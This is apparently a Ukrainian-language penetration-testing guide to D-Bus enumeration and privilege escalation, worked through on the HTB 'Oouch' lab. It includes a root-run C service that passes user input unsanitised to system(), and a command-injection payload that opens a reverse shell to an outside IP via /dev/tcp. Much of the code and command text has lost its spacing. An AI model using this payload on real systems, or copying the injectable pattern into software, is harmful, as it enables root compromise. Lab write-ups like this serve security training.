D-Bus використовується як посередник міжпроцесних комунікацій (IPC) в середовищах робочого стола Ubuntu. На Ubuntu спостерігається одночасна робота кількох шин повідомлень: системної шини, яку в основному використовують привілейовані служби для викладення служб, що є важливими для системи, та сеансової шини для кожного ввійшовшого користувача, яка викладає служби, що є важливими лише для цього конкретного користувача. Основна увага тут спрямована на системну шину через її пов'язаність з службами, що працюють з вищими привілеями (наприклад, root), оскільки нашою метою є підвищення привілеїв. Варто зауважити, що архітектура D-Bus використовує 'маршрутизатор' для кожної сеансової шини, який відповідає за перенаправлення повідомлень клієнтів до відповідних служб на основі адреси, вказаної клієнтами для служби, з якою вони бажають спілкуватися.
Служби на D-Bus визначаються об'єктами та інтерфейсами, які вони викладають. Об'єкти можна порівняти з екземплярами класів у стандартних мовах ООП, при цьому кожен екземпляр унікально ідентифікується шляхом об'єкта. Цей шлях, схожий на шлях файлової системи, унікально ідентифікує кожен об'єкт, викладений службою. Ключовим інтерфейсом для дослідницьких цілей є інтерфейс org.freedesktop.DBus.Introspectable, який має один метод, Introspect. Цей метод повертає XML-представлення підтримуваних методів об'єкта, сигналів та властивостей, з фокусом на методах, при цьому виключаючи властивості та сигнали.
Для спілкування з інтерфейсом D-Bus використовувалися два інструменти: інструмент командного рядка під назвою gdbus для легкого виклику методів, викладених D-Bus у скриптах, та D-Feet, інструмент на основі Python, призначений для переліку доступних служб на кожній шині та відображення об'єктів, що містяться в кожній службі.
sudoapt-getinstalld-feet
У першому зображенні показані служби, зареєстровані з системною шини D-Bus, з org.debin.apt спеціально підсвічено після вибору кнопки System Bus. D-Feet запитує цю службу для об'єктів, відображаючи інтерфейси, методи, властивості та сигнали для обраних об'єктів, які бачимо на другому зображенні. Детально описана сигнатура кожного методу.
Важливою особливістю є відображення ідентифікатора процесу (pid) та командного рядка служби, корисне для підтвердження того, чи служба працює з підвищеними привілеями, що важливо для актуальності дослідження.
D-Feet також дозволяє виклик методу: користувачі можуть вводити вирази Python як параметри, які D-Feet перетворює на типи D-Bus перед передачею службі.
Проте слід зауважити, що для деяких методів потрібна аутентифікація, перш ніж ми зможемо їх викликати. Ми ігноруватимемо ці методи, оскільки нашою метою є підвищення привілеїв без облікових даних в першу чергу.
Також слід зауважити, що деякі зі служб запитують іншу службу D-Bus з іменем org.freedeskto.PolicyKit1, чи користувачу слід дозволити виконувати певні дії чи ні.
Перелік командного рядка
Перелік об'єктів служби
Можливо перелічити відкриті інтерфейси D-Bus за допомогою:
З Вікіпедії: Коли процес налаштовує підключення до шини, шина надає підключенню спеціальне ім'я шини, яке називається унікальним ім'ям підключення. Імена шин цього типу є незмінними - гарантується, що вони не зміняться, поки існує підключення, і, що ще важливіше, їх не можна повторно використовувати протягом життєвого циклу шини. Це означає, що жодне інше підключення до цієї шини ніколи не матиме такого унікального імені підключення, навіть якщо той самий процес закриє підключення до шини та створить нове. Унікальні імена підключення легко впізнавати, оскільки вони починаються з - іншогочарактеру, який зазвичай заборонений.
Інформація про об'єкт служби
Потім ви можете отримати деяку інформацію про інтерфейс за допомогою:
busctlstatushtb.oouch.Block#Get info of "htb.oouch.Block" interfacePID=2609PPID=1TTY=n/aUID=0EUID=0SUID=0FSUID=0GID=0EGID=0SGID=0FSGID=0SupplementaryGIDs=Comm=dbus-serverCommandLine=/root/dbus-serverLabel=unconfinedCGroup=/system.slice/dbus-server.serviceUnit=dbus-server.serviceSlice=system.sliceUserUnit=n/aUserSlice=n/aSession=n/aAuditLoginUID=n/aAuditSessionID=n/aUniqueName=:1.3EffectiveCapabilities=cap_chowncap_dac_overridecap_dac_read_searchcap_fownercap_fsetidcap_killcap_setgidcap_setuidcap_setpcapcap_linux_immutablecap_net_bind_servicecap_net_broadcastcap_net_admincap_net_rawcap_ipc_lockcap_ipc_ownercap_sys_modulecap_sys_rawiocap_sys_chrootcap_sys_ptracecap_sys_pacctcap_sys_admincap_sys_bootcap_sys_nicecap_sys_resourcecap_sys_timecap_sys_tty_configcap_mknodcap_leasecap_audit_writecap_audit_controlcap_setfcapcap_mac_overridecap_mac_admincap_syslogcap_wake_alarmcap_block_suspendcap_audit_readPermittedCapabilities=cap_chowncap_dac_overridecap_dac_read_searchcap_fownercap_fsetidcap_killcap_setgidcap_setuidcap_setpcapcap_linux_immutablecap_net_bind_servicecap_net_broadcastcap_net_admincap_net_rawcap_ipc_lockcap_ipc_ownercap_sys_modulecap_sys_rawiocap_sys_chrootcap_sys_ptracecap_sys_pacctcap_sys_admincap_sys_bootcap_sys_nicecap_sys_resourcecap_sys_timecap_sys_tty_configcap_mknodcap_leasecap_audit_writecap_audit_controlcap_setfcapcap_mac_overridecap_mac_admincap_syslogcap_wake_alarmcap_block_suspendcap_audit_readInheritableCapabilities=BoundingCapabilities=cap_chowncap_dac_overridecap_dac_read_searchcap_fownercap_fsetidcap_killcap_setgidcap_setuidcap_setpcapcap_linux_immutablecap_net_bind_servicecap_net_broadcastcap_net_admincap_net_rawcap_ipc_lockcap_ipc_ownercap_sys_modulecap_sys_rawiocap_sys_chrootcap_sys_ptracecap_sys_pacctcap_sys_admincap_sys_bootcap_sys_nicecap_sys_resourcecap_sys_timecap_sys_tty_configcap_mknodcap_leasecap_audit_writecap_audit_controlcap_setfcapcap_mac_overridecap_mac_admincap_syslogcap_wake_alarmcap_block_suspendcap_audit_read
Виведення списку інтерфейсів об'єкта служби
Вам потрібно мати достатньо дозволів.
busctltreehtb.oouch.Block#Get Interfaces of the service object└─/htb└─/htb/oouch└─/htb/oouch/Block
Огляд Інтерфейсу Об'єкта Сервісу
Зверніть увагу, що в цьому прикладі було вибрано останній інтерфейс, виявлений за допомогою параметра tree (див. попередній розділ):
busctlintrospecthtb.oouch.Block/htb/oouch/Block#Get methods of the interfaceNAMETYPESIGNATURERESULT/VALUEFLAGShtb.oouch.Blockinterface---.Blockmethodss-org.freedesktop.DBus.Introspectableinterface---.Introspectmethod-s-org.freedesktop.DBus.Peerinterface---.GetMachineIdmethod-s-.Pingmethod---org.freedesktop.DBus.Propertiesinterface---.Getmethodssv-.GetAllmethodsa{sv}-.Setmethodssv--.PropertiesChangedsignalsa{sv}as--
Інтерфейс моніторингу/захоплення
За наявності достатніх привілеїв (привілеїв лише send_destination та receive_sender недостатньо) ви можете моніторити комунікацію D-Bus.
Якщо ви знаєте, як налаштувати файл конфігурації D-Bus, щоб дозволити не root користувачам перехоплювати комунікацію, будь ласка, зв'яжіться зі мною!
Різні способи моніторингу:
sudobusctlmonitorhtb.oouch.Block#Monitor only specifiedsudobusctlmonitor#System level, even if this works you will only see messages you have permissions to seesudodbus-monitor--system#System level, even if this works you will only see messages you have permissions to see
У наступному прикладі інтерфейс htb.oouch.Block моніториться, і повідомлення "lalalalal" відправляється через неправильну комунікацію:
busctlmonitorhtb.oouch.BlockMonitoringbusmessagestream.‣Type=method_callEndian=lFlags=0Version=1Priority=0Cookie=2Sender=:1.1376 Destination=htb.oouch.Block Path=/htb/oouch/Block Interface=htb.oouch.Block Member=BlockUniqueName=:1.1376MESSAGE"s"{STRING"lalalalal";};‣Type=method_returnEndian=lFlags=1Version=1Priority=0Cookie=16ReplyCookie=2Sender=:1.3 Destination=:1.1376UniqueName=:1.3MESSAGE"s"{STRING"Carried out :D";};
Можна використовувати capture замість monitor, щоб зберегти результати у файл pcap.
Фільтрація всього шуму
Якщо на шині занадто багато інформації, передайте правило відповідно до такого шаблону:
Як користувач qtc всередині хоста "oouch" з HTB, ви можете знайти неочікуваний файл конфігурації D-Bus, розташований в /etc/dbus-1/system.d/htb.oouch.Block.conf:
<?xml version="1.0" encoding="UTF-8"?> <!-- -*- XML -*- --><!DOCTYPE busconfig PUBLIC"-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN""http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd"><busconfig><policyuser="root"><allowown="htb.oouch.Block"/></policy><policyuser="www-data"><allowsend_destination="htb.oouch.Block"/><allowreceive_sender="htb.oouch.Block"/></policy></busconfig>
Примітка з попередньої конфігурації, що вам потрібно мати права користувача root або www-data, щоб надсилати та отримувати інформацію через цю комунікацію D-BUS.
Як користувач qtc всередині контейнера Docker з ідентифікатором aeb4525789d8, ви можете знайти деякий код, пов'язаний з dbus у файлі /code/oouch/routes.py. Ось цей цікавий код:
Як ви можете побачити, це підключення до інтерфейсу D-Bus та відправка до функції "Block" параметру "client_ip".
На іншому боці з'єднання D-Bus працює деякий скомпільований бінарний файл на мові програмування C. Цей код очікує на з'єднанні D-Bus IP-адресу та викликає iptables через функцію system для блокування вказаної IP-адреси.
Виклик до system має уразливість на внесення команд, тому наведений нижче пейлоад створить зворотню оболонку: ;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #
Використання
В кінці цієї сторінки ви знайдете повний код на мові програмування C додатка D-Bus. В ньому між рядками 91-97 ви знайдете, як зареєстровані шлях об'єкта D-Bus та ім'я інтерфейсу. Ця інформація буде необхідна для відправлення даних до з'єднання D-Bus:
/* Install the object */r =sd_bus_add_object_vtable(bus,&slot,"/htb/oouch/Block", /* interface */"htb.oouch.Block", /* service object */block_vtable,NULL);
Також, на рядку 57 ви можете знайти, що єдиний зареєстрований метод для цієї комунікації D-Bus називається Block (Тому в наступному розділі наведені вразливості будуть відправлені до об'єкта служби htb.oouch.Block, інтерфейсу /htb/oouch/Block та назви методу Block):
Наступний код Python надішле полезний навантаження на з'єднання D-Bus до методу Block через block_iface.Block(runme) (зауважте, що він був видобутий з попереднього фрагменту коду):
dbus-send - це інструмент, який використовується для надсилання повідомлення на "Шину повідомлень"
Шина повідомлень - це програмне забезпечення, яке використовується системами для спрощення комунікації між додатками. Вона пов'язана з Чергою повідомлень (повідомлення впорядковані послідовно), але в Шині повідомлень повідомлення надсилаються за моделлю підписки і також дуже швидко.
Тег "-system" використовується для вказівки, що це системне повідомлення, а не сеансове (за замовчуванням).
Тег "--print-reply" використовується для відображення нашого повідомлення належним чином та отримання будь-яких відповідей у форматі, зрозумілому для людини.
"--string:" - Тип повідомлення, яке ми хочемо надіслати на інтерфейс. Існує кілька форматів надсилання повідомлень, таких як double, bytes, booleans, int, objpath. З цих форматів "object path" корисний, коли ми хочемо надіслати шлях до файлу на інтерфейс Dbus. У цьому випадку ми можемо використовувати спеціальний файл (FIFO), щоб передати команду на інтерфейс в ім'я файлу. "string:;" - Це для виклику шляху об'єкта знову, де ми розміщуємо файл обертання оболонки FIFO.
Зверніть увагу, що в htb.oouch.Block.Block перший частину (htb.oouch.Block) посилається на об'єкт служби, а остання частина (.Block) посилається на назву методу.
Код на мові C
d-bus_server.c
//sudo apt install pkgconf//sudo apt install libsystemd-dev//gcc d-bus_server.c -o dbus_server `pkg-config --cflags --libs libsystemd`#include<stdio.h>#include<stdlib.h>#include<string.h>#include<errno.h>#include<unistd.h>#include<systemd/sd-bus.h>staticintmethod_block(sd_bus_message *m,void*userdata, sd_bus_error *ret_error) {char* host =NULL;int r;/* Read the parameters */r =sd_bus_message_read(m,"s",&host);if (r <0) {fprintf(stderr,"Failed to obtain hostname: %s\n", strerror(-r));return r;}char command[]="iptables -A PREROUTING -s %s -t mangle -j DROP";int command_len =strlen(command);int host_len =strlen(host);char* command_buffer = (char*)malloc((host_len + command_len) *sizeof(char));if(command_buffer ==NULL) {fprintf(stderr,"Failed to allocate memory\n");return-1;}sprintf(command_buffer, command, host);/* In the first implementation, we simply ran command using system(), since the expected DBus* to be threading automatically. However, DBus does not thread and the application will hang* forever if some user spawns a shell. Thefore we need to fork (easier than implementing real* multithreading)*/int pid =fork();if ( pid ==0 ) {/* Here we are in the child process. We execute the command and eventually exit. */system(command_buffer);exit(0);} else {/* Here we are in the parent process or an error occured. We simply send a genric message.* In the first implementation we returned separate error messages for success or failure.* However, now we cannot wait for results of the system call. Therefore we simply return* a generic. */returnsd_bus_reply_method_return(m,"s","Carried out :D");}r =system(command_buffer);}/* The vtable of our little object, implements the net.poettering.Calculator interface */staticconst sd_bus_vtable block_vtable[]= {SD_BUS_VTABLE_START(0),SD_BUS_METHOD("Block","s","s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),SD_BUS_VTABLE_END};intmain(int argc,char*argv[]) {/** Main method, registeres the htb.oouch.Block service on the system dbus.** Paramaters:* argc (int) Number of arguments, not required* argv[] (char**) Argument array, not required** Returns:* Either EXIT_SUCCESS ot EXIT_FAILURE. Howeverm ideally it stays alive* as long as the user keeps it alive.*//* To prevent a huge numer of defunc process inside the tasklist, we simply ignore client signals */signal(SIGCHLD,SIG_IGN);sd_bus_slot *slot =NULL;sd_bus *bus =NULL;int r;/* First we need to connect to the system bus. */r =sd_bus_open_system(&bus);if (r <0){fprintf(stderr,"Failed to connect to system bus: %s\n", strerror(-r));goto finish;}/* Install the object */r =sd_bus_add_object_vtable(bus,&slot,"/htb/oouch/Block", /* interface */"htb.oouch.Block", /* service object */block_vtable,NULL);if (r <0) {fprintf(stderr,"Failed to install htb.oouch.Block: %s\n", strerror(-r));goto finish;}/* Register the service name to find out object */r =sd_bus_request_name(bus,"htb.oouch.Block",0);if (r <0) {fprintf(stderr,"Failed to acquire service name: %s\n", strerror(-r));goto finish;}/* Infinite loop to process the client requests */for (;;) {/* Process requests */r =sd_bus_process(bus,NULL);if (r <0) {fprintf(stderr,"Failed to process bus: %s\n", strerror(-r));goto finish;}if (r >0) /* we processed a request, try to process another one, right-away */continue;/* Wait for the next request to process */r =sd_bus_wait(bus, (uint64_t) -1);if (r <0) {fprintf(stderr,"Failed to wait on bus: %s\n", strerror(-r));goto finish;}}finish:sd_bus_slot_unref(slot);sd_bus_unref(bus);return r <0? EXIT_FAILURE : EXIT_SUCCESS;}